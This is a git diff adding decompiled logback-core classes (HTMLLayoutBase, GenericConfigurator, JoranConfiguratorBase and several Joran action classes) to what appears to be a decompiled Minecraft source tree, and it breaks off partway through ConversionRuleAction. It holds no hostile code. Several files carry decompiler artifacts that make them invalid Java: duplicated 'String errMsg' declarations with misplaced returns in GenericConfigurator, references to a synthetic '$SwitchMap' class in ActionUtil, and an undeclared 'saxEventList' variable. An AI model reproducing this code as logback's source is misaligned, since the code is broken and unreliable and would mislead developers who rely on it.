diff --git a/src/minecraft/ch/qos/logback/core/html/HTMLLayoutBase.java b/src/minecraft/ch/qos/logback/core/html/HTMLLayoutBase.java
new file mode 100644
index 0000000..c6115fc
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/html/HTMLLayoutBase.java
@@ -0,0 +1,260 @@
+package ch.qos.logback.core.html;
+
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.CoreConstants;
+import ch.qos.logback.core.LayoutBase;
+import ch.qos.logback.core.pattern.Converter;
+import ch.qos.logback.core.pattern.ConverterUtil;
+import ch.qos.logback.core.pattern.parser.Node;
+import ch.qos.logback.core.pattern.parser.Parser;
+import ch.qos.logback.core.spi.ScanException;
+import java.util.Date;
+import java.util.HashMap;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class HTMLLayoutBase<E>
+  extends LayoutBase<E>
+{
+  protected String pattern;
+  protected Converter<E> head;
+  protected String title = "Logback Log Messages";
+  
+
+
+  protected CssBuilder cssBuilder;
+  
+
+  protected long counter = 0L;
+  
+
+  public HTMLLayoutBase() {}
+  
+
+  public void setPattern(String conversionPattern)
+  {
+    pattern = conversionPattern;
+  }
+  
+
+
+  public String getPattern()
+  {
+    return pattern;
+  }
+  
+  public CssBuilder getCssBuilder() {
+    return cssBuilder;
+  }
+  
+  public void setCssBuilder(CssBuilder cssBuilder) {
+    this.cssBuilder = cssBuilder;
+  }
+  
+
+
+
+  public void start()
+  {
+    int errorCount = 0;
+    try
+    {
+      Parser<E> p = new Parser(pattern);
+      p.setContext(getContext());
+      Node t = p.parse();
+      head = p.compile(t, getEffectiveConverterMap());
+      ConverterUtil.startConverters(head);
+    } catch (ScanException ex) {
+      addError("Incorrect pattern found", ex);
+      errorCount++;
+    }
+    
+    if (errorCount == 0) {
+      started = true;
+    }
+  }
+  
+
+
+  protected abstract Map<String, String> getDefaultConverterMap();
+  
+
+
+  public Map<String, String> getEffectiveConverterMap()
+  {
+    Map<String, String> effectiveMap = new HashMap();
+    
+
+    Map<String, String> defaultMap = getDefaultConverterMap();
+    if (defaultMap != null) {
+      effectiveMap.putAll(defaultMap);
+    }
+    
+
+    Context context = getContext();
+    if (context != null)
+    {
+      Map<String, String> contextMap = (Map)context.getObject("PATTERN_RULE_REGISTRY");
+      
+      if (contextMap != null) {
+        effectiveMap.putAll(contextMap);
+      }
+    }
+    return effectiveMap;
+  }
+  
+
+
+
+
+
+
+  public void setTitle(String title)
+  {
+    this.title = title;
+  }
+  
+
+
+  public String getTitle()
+  {
+    return title;
+  }
+  
+
+
+
+  public String getContentType()
+  {
+    return "text/html";
+  }
+  
+
+
+
+  public String getFileHeader()
+  {
+    StringBuilder sbuf = new StringBuilder();
+    sbuf.append("<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\"");
+    sbuf.append(" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">");
+    sbuf.append(CoreConstants.LINE_SEPARATOR);
+    sbuf.append("<html>");
+    sbuf.append(CoreConstants.LINE_SEPARATOR);
+    sbuf.append("  <head>");
+    sbuf.append(CoreConstants.LINE_SEPARATOR);
+    sbuf.append("    <title>");
+    sbuf.append(title);
+    sbuf.append("</title>");
+    sbuf.append(CoreConstants.LINE_SEPARATOR);
+    
+    cssBuilder.addCss(sbuf);
+    
+    sbuf.append(CoreConstants.LINE_SEPARATOR);
+    sbuf.append("  </head>");
+    sbuf.append(CoreConstants.LINE_SEPARATOR);
+    sbuf.append("<body>");
+    sbuf.append(CoreConstants.LINE_SEPARATOR);
+    
+    return sbuf.toString();
+  }
+  
+  public String getPresentationHeader() {
+    StringBuilder sbuf = new StringBuilder();
+    sbuf.append("<hr/>");
+    sbuf.append(CoreConstants.LINE_SEPARATOR);
+    sbuf.append("<p>Log session start time ");
+    sbuf.append(new Date());
+    sbuf.append("</p><p></p>");
+    sbuf.append(CoreConstants.LINE_SEPARATOR);
+    sbuf.append(CoreConstants.LINE_SEPARATOR);
+    sbuf.append("<table cellspacing=\"0\">");
+    sbuf.append(CoreConstants.LINE_SEPARATOR);
+    
+    buildHeaderRowForTable(sbuf);
+    
+    return sbuf.toString();
+  }
+  
+  private void buildHeaderRowForTable(StringBuilder sbuf)
+  {
+    Converter c = head;
+    
+    sbuf.append("<tr class=\"header\">");
+    sbuf.append(CoreConstants.LINE_SEPARATOR);
+    while (c != null) {
+      String name = computeConverterName(c);
+      if (name == null) {
+        c = c.getNext();
+      }
+      else {
+        sbuf.append("<td class=\"");
+        sbuf.append(computeConverterName(c));
+        sbuf.append("\">");
+        sbuf.append(computeConverterName(c));
+        sbuf.append("</td>");
+        sbuf.append(CoreConstants.LINE_SEPARATOR);
+        c = c.getNext();
+      } }
+    sbuf.append("</tr>");
+    sbuf.append(CoreConstants.LINE_SEPARATOR);
+  }
+  
+  public String getPresentationFooter() {
+    StringBuilder sbuf = new StringBuilder();
+    sbuf.append("</table>");
+    return sbuf.toString();
+  }
+  
+
+
+
+  public String getFileFooter()
+  {
+    StringBuilder sbuf = new StringBuilder();
+    sbuf.append(CoreConstants.LINE_SEPARATOR);
+    sbuf.append("</body></html>");
+    return sbuf.toString();
+  }
+  
+  protected void startNewTableIfLimitReached(StringBuilder sbuf) {
+    if (counter >= 10000L) {
+      counter = 0L;
+      sbuf.append("</table>");
+      sbuf.append(CoreConstants.LINE_SEPARATOR);
+      sbuf.append("<p></p>");
+      sbuf.append("<table cellspacing=\"0\">");
+      sbuf.append(CoreConstants.LINE_SEPARATOR);
+      buildHeaderRowForTable(sbuf);
+    }
+  }
+  
+  protected String computeConverterName(Converter c) {
+    String className = c.getClass().getSimpleName();
+    int index = className.indexOf("Converter");
+    if (index == -1) {
+      return className;
+    }
+    return className.substring(0, index);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/html/IThrowableRenderer.java b/src/minecraft/ch/qos/logback/core/html/IThrowableRenderer.java
new file mode 100644
index 0000000..037603a
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/html/IThrowableRenderer.java
@@ -0,0 +1,6 @@
+package ch.qos.logback.core.html;
+
+public abstract interface IThrowableRenderer<E>
+{
+  public abstract void render(StringBuilder paramStringBuilder, E paramE);
+}
diff --git a/src/minecraft/ch/qos/logback/core/html/NOPThrowableRenderer.java b/src/minecraft/ch/qos/logback/core/html/NOPThrowableRenderer.java
new file mode 100644
index 0000000..2f1bae7
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/html/NOPThrowableRenderer.java
@@ -0,0 +1,9 @@
+package ch.qos.logback.core.html;
+
+public class NOPThrowableRenderer
+  implements IThrowableRenderer
+{
+  public NOPThrowableRenderer() {}
+  
+  public void render(StringBuilder sbuf, Object event) {}
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/GenericConfigurator.java b/src/minecraft/ch/qos/logback/core/joran/GenericConfigurator.java
new file mode 100644
index 0000000..1fee459
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/GenericConfigurator.java
@@ -0,0 +1,169 @@
+package ch.qos.logback.core.joran;
+
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.joran.event.SaxEvent;
+import ch.qos.logback.core.joran.event.SaxEventRecorder;
+import ch.qos.logback.core.joran.spi.DefaultNestedComponentRegistry;
+import ch.qos.logback.core.joran.spi.ElementPath;
+import ch.qos.logback.core.joran.spi.EventPlayer;
+import ch.qos.logback.core.joran.spi.InterpretationContext;
+import ch.qos.logback.core.joran.spi.Interpreter;
+import ch.qos.logback.core.joran.spi.JoranException;
+import ch.qos.logback.core.joran.spi.RuleStore;
+import ch.qos.logback.core.joran.spi.SimpleRuleStore;
+import ch.qos.logback.core.joran.util.ConfigurationWatchListUtil;
+import ch.qos.logback.core.spi.ContextAwareBase;
+import ch.qos.logback.core.status.StatusUtil;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.URI;
+import java.net.URL;
+import java.net.URLConnection;
+import java.util.List;
+import org.xml.sax.InputSource;
+
+
+
+
+public abstract class GenericConfigurator
+  extends ContextAwareBase
+{
+  protected Interpreter interpreter;
+  
+  public GenericConfigurator() {}
+  
+  public final void doConfigure(URL url)
+    throws JoranException
+  {
+    InputStream in = null;
+    try {
+      informContextOfURLUsedForConfiguration(getContext(), url);
+      URLConnection urlConnection = url.openConnection();
+      
+
+      urlConnection.setUseCaches(false);
+      
+      in = urlConnection.getInputStream();
+      doConfigure(in);
+      String errMsg;
+      String errMsg; String errMsg; return; } catch (IOException ioe) { errMsg = "Could not open URL [" + url + "].";
+      addError(errMsg, ioe);
+      throw new JoranException(errMsg, ioe);
+    } finally {
+      if (in != null) {
+        try {
+          in.close();
+        } catch (IOException ioe) {
+          errMsg = "Could not close input stream";
+          addError(errMsg, ioe);
+          throw new JoranException(errMsg, ioe);
+        }
+      }
+    }
+  }
+  
+  public final void doConfigure(String filename) throws JoranException {
+    doConfigure(new File(filename));
+  }
+  
+  public final void doConfigure(File file) throws JoranException {
+    FileInputStream fis = null;
+    try {
+      informContextOfURLUsedForConfiguration(getContext(), file.toURI().toURL());
+      fis = new FileInputStream(file);
+      doConfigure(fis);
+      String errMsg;
+      String errMsg; String errMsg; return; } catch (IOException ioe) { errMsg = "Could not open [" + file.getPath() + "].";
+      addError(errMsg, ioe);
+      throw new JoranException(errMsg, ioe);
+    } finally {
+      if (fis != null) {
+        try {
+          fis.close();
+        } catch (IOException ioe) {
+          errMsg = "Could not close [" + file.getName() + "].";
+          addError(errMsg, ioe);
+          throw new JoranException(errMsg, ioe);
+        }
+      }
+    }
+  }
+  
+  public static void informContextOfURLUsedForConfiguration(Context context, URL url) {
+    ConfigurationWatchListUtil.setMainWatchURL(context, url);
+  }
+  
+  public final void doConfigure(InputStream inputStream) throws JoranException {
+    doConfigure(new InputSource(inputStream));
+  }
+  
+
+  protected abstract void addInstanceRules(RuleStore paramRuleStore);
+  
+  protected abstract void addImplicitRules(Interpreter paramInterpreter);
+  
+  protected void addDefaultNestedComponentRegistryRules(DefaultNestedComponentRegistry registry) {}
+  
+  protected ElementPath initialElementPath()
+  {
+    return new ElementPath();
+  }
+  
+  protected void buildInterpreter() {
+    RuleStore rs = new SimpleRuleStore(context);
+    addInstanceRules(rs);
+    interpreter = new Interpreter(context, rs, initialElementPath());
+    InterpretationContext interpretationContext = interpreter.getInterpretationContext();
+    interpretationContext.setContext(context);
+    addImplicitRules(interpreter);
+    addDefaultNestedComponentRegistryRules(interpretationContext.getDefaultNestedComponentRegistry());
+  }
+  
+
+
+  public final void doConfigure(InputSource inputSource)
+    throws JoranException
+  {
+    long threshold = System.currentTimeMillis();
+    if (!ConfigurationWatchListUtil.wasConfigurationWatchListReset(context)) {
+      informContextOfURLUsedForConfiguration(getContext(), null);
+    }
+    SaxEventRecorder recorder = new SaxEventRecorder(context);
+    recorder.recordEvents(inputSource);
+    doConfigure(saxEventList);
+    
+    StatusUtil statusUtil = new StatusUtil(context);
+    if (statusUtil.noXMLParsingErrorsOccurred(threshold)) {
+      addInfo("Registering current configuration as safe fallback point");
+      registerSafeConfiguration();
+    }
+  }
+  
+  public void doConfigure(List<SaxEvent> eventList) throws JoranException
+  {
+    buildInterpreter();
+    
+    synchronized (context.getConfigurationLock()) {
+      interpreter.getEventPlayer().play(eventList);
+    }
+  }
+  
+
+
+
+
+
+  public void registerSafeConfiguration()
+  {
+    context.putObject("SAFE_JORAN_CONFIGURATION", interpreter.getEventPlayer().getCopyOfPlayerEventList());
+  }
+  
+
+
+  public List<SaxEvent> recallSafeConfiguration()
+  {
+    return (List)context.getObject("SAFE_JORAN_CONFIGURATION");
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/JoranConfiguratorBase.java b/src/minecraft/ch/qos/logback/core/joran/JoranConfiguratorBase.java
new file mode 100644
index 0000000..1bd551d
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/JoranConfiguratorBase.java
@@ -0,0 +1,114 @@
+package ch.qos.logback.core.joran;
+
+import ch.qos.logback.core.joran.action.AppenderAction;
+import ch.qos.logback.core.joran.action.AppenderRefAction;
+import ch.qos.logback.core.joran.action.ContextPropertyAction;
+import ch.qos.logback.core.joran.action.ConversionRuleAction;
+import ch.qos.logback.core.joran.action.DefinePropertyAction;
+import ch.qos.logback.core.joran.action.NestedBasicPropertyIA;
+import ch.qos.logback.core.joran.action.NestedComplexPropertyIA;
+import ch.qos.logback.core.joran.action.NewRuleAction;
+import ch.qos.logback.core.joran.action.ParamAction;
+import ch.qos.logback.core.joran.action.PropertyAction;
+import ch.qos.logback.core.joran.action.ShutdownHookAction;
+import ch.qos.logback.core.joran.action.StatusListenerAction;
+import ch.qos.logback.core.joran.action.TimestampAction;
+import ch.qos.logback.core.joran.spi.ElementSelector;
+import ch.qos.logback.core.joran.spi.InterpretationContext;
+import ch.qos.logback.core.joran.spi.Interpreter;
+import ch.qos.logback.core.joran.spi.RuleStore;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class JoranConfiguratorBase
+  extends GenericConfigurator
+{
+  public JoranConfiguratorBase() {}
+  
+  public List getErrorList()
+  {
+    return null;
+  }
+  
+
+
+  protected void addInstanceRules(RuleStore rs)
+  {
+    rs.addRule(new ElementSelector("configuration/variable"), new PropertyAction());
+    rs.addRule(new ElementSelector("configuration/property"), new PropertyAction());
+    
+    rs.addRule(new ElementSelector("configuration/substitutionProperty"), new PropertyAction());
+    
+
+    rs.addRule(new ElementSelector("configuration/timestamp"), new TimestampAction());
+    rs.addRule(new ElementSelector("configuration/shutdownHook"), new ShutdownHookAction());
+    rs.addRule(new ElementSelector("configuration/define"), new DefinePropertyAction());
+    
+
+
+    rs.addRule(new ElementSelector("configuration/contextProperty"), new ContextPropertyAction());
+    
+
+    rs.addRule(new ElementSelector("configuration/conversionRule"), new ConversionRuleAction());
+    
+
+    rs.addRule(new ElementSelector("configuration/statusListener"), new StatusListenerAction());
+    
+
+    rs.addRule(new ElementSelector("configuration/appender"), new AppenderAction());
+    rs.addRule(new ElementSelector("configuration/appender/appender-ref"), new AppenderRefAction());
+    
+    rs.addRule(new ElementSelector("configuration/newRule"), new NewRuleAction());
+    rs.addRule(new ElementSelector("*/param"), new ParamAction());
+  }
+  
+
+  protected void addImplicitRules(Interpreter interpreter)
+  {
+    NestedComplexPropertyIA nestedComplexPropertyIA = new NestedComplexPropertyIA();
+    nestedComplexPropertyIA.setContext(context);
+    interpreter.addImplicitAction(nestedComplexPropertyIA);
+    
+    NestedBasicPropertyIA nestedBasicIA = new NestedBasicPropertyIA();
+    nestedBasicIA.setContext(context);
+    interpreter.addImplicitAction(nestedBasicIA);
+  }
+  
+  protected void buildInterpreter()
+  {
+    super.buildInterpreter();
+    Map<String, Object> omap = interpreter.getInterpretationContext().getObjectMap();
+    
+    omap.put("APPENDER_BAG", new HashMap());
+    omap.put("FILTER_CHAIN_BAG", new HashMap());
+  }
+  
+  public InterpretationContext getInterpretationContext() {
+    return interpreter.getInterpretationContext();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/action/AbstractEventEvaluatorAction.java b/src/minecraft/ch/qos/logback/core/joran/action/AbstractEventEvaluatorAction.java
new file mode 100644
index 0000000..79213dd
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/action/AbstractEventEvaluatorAction.java
@@ -0,0 +1,121 @@
+package ch.qos.logback.core.joran.action;
+
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.boolex.EventEvaluator;
+import ch.qos.logback.core.joran.spi.InterpretationContext;
+import ch.qos.logback.core.spi.LifeCycle;
+import ch.qos.logback.core.util.OptionHelper;
+import java.util.Map;
+import org.xml.sax.Attributes;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractEventEvaluatorAction
+  extends Action
+{
+  EventEvaluator<?> evaluator;
+  boolean inError = false;
+  
+
+  public AbstractEventEvaluatorAction() {}
+  
+  public void begin(InterpretationContext ec, String name, Attributes attributes)
+  {
+    inError = false;
+    evaluator = null;
+    
+    String className = attributes.getValue("class");
+    if (OptionHelper.isEmpty(className)) {
+      className = defaultClassName();
+      addInfo("Assuming default evaluator class [" + className + "]");
+    }
+    
+    if (OptionHelper.isEmpty(className)) {
+      className = defaultClassName();
+      inError = true;
+      addError("Mandatory \"class\" attribute not set for <evaluator>");
+      
+      return;
+    }
+    
+    String evaluatorName = attributes.getValue("name");
+    if (OptionHelper.isEmpty(evaluatorName)) {
+      inError = true;
+      addError("Mandatory \"name\" attribute not set for <evaluator>");
+      
+      return;
+    }
+    try {
+      evaluator = ((EventEvaluator)OptionHelper.instantiateByClassName(className, EventEvaluator.class, context));
+      
+
+      evaluator.setContext(context);
+      evaluator.setName(evaluatorName);
+      
+      ec.pushObject(evaluator);
+      addInfo("Adding evaluator named [" + evaluatorName + "] to the object stack");
+    }
+    catch (Exception oops)
+    {
+      inError = true;
+      addError("Could not create evaluator of type " + className + "].", oops);
+    }
+  }
+  
+
+
+
+
+
+  protected abstract String defaultClassName();
+  
+
+
+
+
+  public void end(InterpretationContext ec, String e)
+  {
+    if (inError) {
+      return;
+    }
+    
+    if ((evaluator instanceof LifeCycle)) {
+      evaluator.start();
+      addInfo("Starting evaluator named [" + evaluator.getName() + "]");
+    }
+    
+    Object o = ec.peekObject();
+    
+    if (o != evaluator) {
+      addWarn("The object on the top the of the stack is not the evaluator pushed earlier.");
+    } else {
+      ec.popObject();
+      try
+      {
+        Map<String, EventEvaluator<?>> evaluatorMap = (Map)context.getObject("EVALUATOR_MAP");
+        
+        if (evaluatorMap == null) {
+          addError("Could not find EvaluatorMap");
+        } else {
+          evaluatorMap.put(evaluator.getName(), evaluator);
+        }
+      } catch (Exception ex) {
+        addError("Could not set evaluator named [" + evaluator + "].", ex);
+      }
+    }
+  }
+  
+  public void finish(InterpretationContext ec) {}
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/action/Action.java b/src/minecraft/ch/qos/logback/core/joran/action/Action.java
new file mode 100644
index 0000000..8f7aad4
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/action/Action.java
@@ -0,0 +1,101 @@
+package ch.qos.logback.core.joran.action;
+
+import ch.qos.logback.core.joran.spi.ActionException;
+import ch.qos.logback.core.joran.spi.InterpretationContext;
+import ch.qos.logback.core.joran.spi.Interpreter;
+import ch.qos.logback.core.spi.ContextAwareBase;
+import org.xml.sax.Attributes;
+import org.xml.sax.Locator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class Action
+  extends ContextAwareBase
+{
+  public static final String NAME_ATTRIBUTE = "name";
+  public static final String KEY_ATTRIBUTE = "key";
+  public static final String VALUE_ATTRIBUTE = "value";
+  public static final String FILE_ATTRIBUTE = "file";
+  public static final String CLASS_ATTRIBUTE = "class";
+  public static final String PATTERN_ATTRIBUTE = "pattern";
+  public static final String SCOPE_ATTRIBUTE = "scope";
+  public static final String ACTION_CLASS_ATTRIBUTE = "actionClass";
+  
+  public Action() {}
+  
+  public abstract void begin(InterpretationContext paramInterpretationContext, String paramString, Attributes paramAttributes)
+    throws ActionException;
+  
+  public void body(InterpretationContext ic, String body)
+    throws ActionException
+  {}
+  
+  public abstract void end(InterpretationContext paramInterpretationContext, String paramString)
+    throws ActionException;
+  
+  public String toString()
+  {
+    return getClass().getName();
+  }
+  
+  protected int getColumnNumber(InterpretationContext ic) {
+    Interpreter ji = ic.getJoranInterpreter();
+    Locator locator = ji.getLocator();
+    if (locator != null) {
+      return locator.getColumnNumber();
+    }
+    return -1;
+  }
+  
+  protected int getLineNumber(InterpretationContext ic) {
+    Interpreter ji = ic.getJoranInterpreter();
+    Locator locator = ji.getLocator();
+    if (locator != null) {
+      return locator.getLineNumber();
+    }
+    return -1;
+  }
+  
+  protected String getLineColStr(InterpretationContext ic) {
+    return "line: " + getLineNumber(ic) + ", column: " + getColumnNumber(ic);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/action/ActionConst.java b/src/minecraft/ch/qos/logback/core/joran/action/ActionConst.java
new file mode 100644
index 0000000..443f219
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/action/ActionConst.java
@@ -0,0 +1,42 @@
+package ch.qos.logback.core.joran.action;
+
+
+
+public abstract class ActionConst
+{
+  public static final String APPENDER_TAG = "appender";
+  
+
+  public static final String REF_ATTRIBUTE = "ref";
+  
+
+  public static final String ADDITIVITY_ATTRIBUTE = "additivity";
+  
+
+  public static final String LEVEL_ATTRIBUTE = "level";
+  
+
+  public static final String CONVERTER_CLASS_ATTRIBUTE = "converterClass";
+  
+
+  public static final String CONVERSION_WORD_ATTRIBUTE = "conversionWord";
+  
+
+  public static final String PATTERN_ATTRIBUTE = "pattern";
+  
+
+  public static final String VALUE_ATTR = "value";
+  
+
+  public static final String ACTION_CLASS_ATTRIBUTE = "actionClass";
+  
+  public static final String INHERITED = "INHERITED";
+  
+  public static final String NULL = "NULL";
+  
+  static final Class<?>[] ONE_STRING_PARAM = { String.class };
+  public static final String APPENDER_BAG = "APPENDER_BAG";
+  public static final String FILTER_CHAIN_BAG = "FILTER_CHAIN_BAG";
+  
+  public ActionConst() {}
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/action/ActionUtil.java b/src/minecraft/ch/qos/logback/core/joran/action/ActionUtil.java
new file mode 100644
index 0000000..f9da15c
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/action/ActionUtil.java
@@ -0,0 +1,73 @@
+package ch.qos.logback.core.joran.action;
+
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.joran.spi.InterpretationContext;
+import ch.qos.logback.core.util.ContextUtil;
+import ch.qos.logback.core.util.OptionHelper;
+import java.util.Properties;
+
+
+
+
+
+
+
+
+
+
+
+public class ActionUtil
+{
+  public ActionUtil() {}
+  
+  public static enum Scope
+  {
+    LOCAL,  CONTEXT,  SYSTEM;
+    
+
+    private Scope() {}
+  }
+  
+
+  public static Scope stringToScope(String scopeStr)
+  {
+    if (Scope.SYSTEM.toString().equalsIgnoreCase(scopeStr))
+      return Scope.SYSTEM;
+    if (Scope.CONTEXT.toString().equalsIgnoreCase(scopeStr)) {
+      return Scope.CONTEXT;
+    }
+    return Scope.LOCAL;
+  }
+  
+  public static void setProperty(InterpretationContext ic, String key, String value, Scope scope) {
+    switch (1.$SwitchMap$ch$qos$logback$core$joran$action$ActionUtil$Scope[scope.ordinal()]) {
+    case 1: 
+      ic.addSubstitutionProperty(key, value);
+      break;
+    case 2: 
+      ic.getContext().putProperty(key, value);
+      break;
+    case 3: 
+      OptionHelper.setSystemProperty(ic, key, value);
+    }
+    
+  }
+  
+
+
+
+  public static void setProperties(InterpretationContext ic, Properties props, Scope scope)
+  {
+    switch (1.$SwitchMap$ch$qos$logback$core$joran$action$ActionUtil$Scope[scope.ordinal()]) {
+    case 1: 
+      ic.addSubstitutionProperties(props);
+      break;
+    case 2: 
+      ContextUtil cu = new ContextUtil(ic.getContext());
+      cu.addProperties(props);
+      break;
+    case 3: 
+      OptionHelper.setSystemProperties(ic, props);
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/action/AppenderAction.java b/src/minecraft/ch/qos/logback/core/joran/action/AppenderAction.java
new file mode 100644
index 0000000..e0256ec
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/action/AppenderAction.java
@@ -0,0 +1,108 @@
+package ch.qos.logback.core.joran.action;
+
+import ch.qos.logback.core.Appender;
+import ch.qos.logback.core.joran.spi.ActionException;
+import ch.qos.logback.core.joran.spi.InterpretationContext;
+import ch.qos.logback.core.spi.LifeCycle;
+import ch.qos.logback.core.util.OptionHelper;
+import java.util.HashMap;
+import java.util.Map;
+import org.xml.sax.Attributes;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class AppenderAction<E>
+  extends Action
+{
+  Appender<E> appender;
+  private boolean inError = false;
+  
+
+
+
+  public AppenderAction() {}
+  
+
+
+  public void begin(InterpretationContext ec, String localName, Attributes attributes)
+    throws ActionException
+  {
+    appender = null;
+    inError = false;
+    
+    String className = attributes.getValue("class");
+    if (OptionHelper.isEmpty(className)) {
+      addError("Missing class name for appender. Near [" + localName + "] line " + getLineNumber(ec));
+      
+      inError = true;
+      return;
+    }
+    try
+    {
+      addInfo("About to instantiate appender of type [" + className + "]");
+      
+      appender = ((Appender)OptionHelper.instantiateByClassName(className, Appender.class, context));
+      
+
+      appender.setContext(context);
+      
+      String appenderName = ec.subst(attributes.getValue("name"));
+      
+      if (OptionHelper.isEmpty(appenderName)) {
+        addWarn("No appender name given for appender of type " + className + "].");
+      }
+      else {
+        appender.setName(appenderName);
+        addInfo("Naming appender as [" + appenderName + "]");
+      }
+      
+
+
+      HashMap<String, Appender<E>> appenderBag = (HashMap)ec.getObjectMap().get("APPENDER_BAG");
+      
+
+
+      appenderBag.put(appenderName, appender);
+      
+      ec.pushObject(appender);
+    } catch (Exception oops) {
+      inError = true;
+      addError("Could not create an Appender of type [" + className + "].", oops);
+      
+      throw new ActionException(oops);
+    }
+  }
+  
+
+
+
+  public void end(InterpretationContext ec, String name)
+  {
+    if (inError) {
+      return;
+    }
+    
+    if ((appender instanceof LifeCycle)) {
+      appender.start();
+    }
+    
+    Object o = ec.peekObject();
+    
+    if (o != appender) {
+      addWarn("The object at the of the stack is not the appender named [" + appender.getName() + "] pushed earlier.");
+    }
+    else {
+      ec.popObject();
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/action/AppenderRefAction.java b/src/minecraft/ch/qos/logback/core/joran/action/AppenderRefAction.java
new file mode 100644
index 0000000..7cf913f
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/action/AppenderRefAction.java
@@ -0,0 +1,80 @@
+package ch.qos.logback.core.joran.action;
+
+import ch.qos.logback.core.Appender;
+import ch.qos.logback.core.joran.spi.InterpretationContext;
+import ch.qos.logback.core.spi.AppenderAttachable;
+import ch.qos.logback.core.util.OptionHelper;
+import java.util.HashMap;
+import java.util.Map;
+import org.xml.sax.Attributes;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class AppenderRefAction<E>
+  extends Action
+{
+  boolean inError = false;
+  
+  public AppenderRefAction() {}
+  
+  public void begin(InterpretationContext ec, String tagName, Attributes attributes) {
+    inError = false;
+    
+
+
+    Object o = ec.peekObject();
+    
+    if (!(o instanceof AppenderAttachable)) {
+      String errMsg = "Could not find an AppenderAttachable at the top of execution stack. Near [" + tagName + "] line " + getLineNumber(ec);
+      
+      inError = true;
+      addError(errMsg);
+      return;
+    }
+    
+    AppenderAttachable<E> appenderAttachable = (AppenderAttachable)o;
+    
+    String appenderName = ec.subst(attributes.getValue("ref"));
+    
+    if (OptionHelper.isEmpty(appenderName))
+    {
+      String errMsg = "Missing appender ref attribute in <appender-ref> tag.";
+      inError = true;
+      addError(errMsg);
+      
+      return;
+    }
+    
+    HashMap<String, Appender<E>> appenderBag = (HashMap)ec.getObjectMap().get("APPENDER_BAG");
+    
+    Appender<E> appender = (Appender)appenderBag.get(appenderName);
+    
+    if (appender == null) {
+      String msg = "Could not find an appender named [" + appenderName + "]. Did you define it below instead of above in the configuration file?";
+      
+      inError = true;
+      addError(msg);
+      addError("See http://logback.qos.ch/codes.html#appender_order for more details.");
+      
+      return;
+    }
+    
+    addInfo("Attaching appender named [" + appenderName + "] to " + appenderAttachable);
+    
+    appenderAttachable.addAppender(appender);
+  }
+  
+  public void end(InterpretationContext ec, String n) {}
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/action/ContextPropertyAction.java b/src/minecraft/ch/qos/logback/core/joran/action/ContextPropertyAction.java
new file mode 100644
index 0000000..70ff0ba
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/action/ContextPropertyAction.java
@@ -0,0 +1,35 @@
+package ch.qos.logback.core.joran.action;
+
+import ch.qos.logback.core.joran.spi.ActionException;
+import ch.qos.logback.core.joran.spi.InterpretationContext;
+import org.xml.sax.Attributes;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ContextPropertyAction
+  extends Action
+{
+  public ContextPropertyAction() {}
+  
+  public void begin(InterpretationContext ec, String name, Attributes attributes)
+    throws ActionException
+  {
+    addError("The [contextProperty] element has been removed. Please use [substitutionProperty] element instead");
+  }
+  
+  public void end(InterpretationContext ec, String name)
+    throws ActionException
+  {}
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/action/ConversionRuleAction.java b/src/minecraft/ch/qos/logback/core/joran/action/ConversionRuleAction.java
new file mode 100644
index 0000000..06dc1b1
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/action/ConversionRuleAction.java
@@ -0,0 +1,81 @@
+package ch.qos.logback.core.joran.action;
+
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.joran.spi.InterpretationContext;
+import ch.qos.logback.core.util.OptionHelper;
+import java.util.HashMap;
+import java.util.Map;
+import org.xml.sax.Attributes;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ConversionRuleAction
+  extends Action
+{
+  boolean inError = false;
+  
+
+
+  public ConversionRuleAction() {}
+  
+
+  public void begin(InterpretationContext ec, String localName, Attributes attributes)
+  {
+    inError = false;
+    
+
+    String conversionWord = attributes.getValue("conversionWord");
+    
+    String converterClass = attributes.getValue("converterClass");
+    
+
+    if (OptionHelper.isEmpty(conversionWord)) {
+      inError = true;
